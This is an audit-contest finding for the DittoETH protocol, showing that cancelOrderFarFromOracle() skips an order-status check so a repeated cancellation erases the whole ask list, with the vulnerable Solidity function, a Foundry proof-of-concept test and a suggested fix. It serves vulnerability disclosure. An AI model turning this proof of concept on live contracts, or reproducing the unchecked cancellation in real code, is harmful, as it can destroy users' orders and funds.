DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

cancelling the same order two times lead to losing all orders

Summary

Using the cancelOrderFarFromOracle() function you can cancel the same order multiple times

Vulnerability Details

when the orderId reaches its limit 65000, users are able to call the cancelOrderFarFromOracle() as many times as possible. The fact that this function does not check if the order is active, leads to canceling the same order multiple times.

function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 65000) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 1000) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else {
revert Errors.NotLastOrder();
}
} else {
//@dev if address is not DAO, you can only cancel last order of a side
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelOrder(asset, lastOrderId);
} else {
revert Errors.NotLastOrder();
}
}
}

In addition, canceling the same order two times leads to losing the whole list of orders.

here is a Proof of Concept:
Step1:
To be able to run the PoC in the next step you should first decrease the 65000 to 2 for example just to let the script run and finish its job and not wait too long. In addition, what works for a limit of 2 works too for 65000.

Step2:
Run the following foundry script:

function testTowCancelLeadToLoss() public {
fundLimitAskOpt(1 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(2 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(3 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(4 ether, DEFAULT_AMOUNT, receiver);
STypes.Order[] memory asks = getAsks();
vm.prank(sender);
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 1
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 1
});
asks = getAsks();
assertEq(asks.length, 0);
}

Impact

Funds and all orders loss

Tools Used

Manual

Recommendations

you should check the status of the order or call the cancelBid/cancelAsk function according to the type.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-436

oualidpro Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-626

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.